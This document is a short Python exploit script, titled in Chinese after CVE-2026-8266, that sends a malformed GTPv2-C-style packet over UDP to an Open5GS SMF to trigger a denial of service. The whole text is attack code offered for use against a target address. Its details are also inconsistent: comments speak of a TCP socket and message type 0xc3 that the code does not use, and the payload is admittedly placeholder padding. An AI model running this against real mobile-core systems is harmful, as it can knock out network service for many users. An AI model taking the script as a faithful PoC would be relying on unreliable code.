CVE-2026-8266 Open5GS拒绝服务漏洞

import socket import struct # Target Configuration # In a real scenario, replace this with the actual IP of the Open5GS SMF interface SMF_IP = "127.0.0.1" SMF_PORT = 8805 # Example port, actual service ports may vary def craft_malformed_pdu(): """ Crafts a malformed packet targeting the PDU Session Establishment Accept logic. This attempts to trigger the vulnerability in gsm_build_pdu_session_establishment_accept. """ # Simplified representation of a GTPv2 or NAS header # This payload is designed to hit the specific parsing flaw mentioned in the advisory # Sending excessive or unexpected data to trigger the DoS condition # Example header structure (Generic GTPv2-C header) # Flags: 0x32 (Version 2, Piggybacking, etc) # Message Type: 0xc3 (Create Session Request or similar) # Length: Calculated dynamically or set to trigger overflow header = struct.pack('!BBHIIB', 0x32, 0, 0, 0, 0, 0) # Malformed payload: Buffer with specific pattern intended to crash the SMF build function # The specific bytes would depend on the exact disassembly of the vulnerable function payload = b'A' * 1024 + b'\x00\x00\xff\xff' return header + payload def send_exploit(): print(f"[*] Attempting to connect to Open5GS SMF at {SMF_IP}:{SMF_PORT}...") try: # Create a TCP socket (Note: Actual GTP uses UDP, but this is a PoC template) # For GTPv2-C, socket.SOCK_DGRAM should be used. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = craft_malformed_pdu() sock.sendto(packet, (SMF_IP, SMF_PORT)) print("[+] Malformed packet sent. Check if the SMF service crashed.") except Exception as e: print(f"[-] Error during exploit execution: {e}") finally: sock.close() if __name__ == "__main__": send_exploit()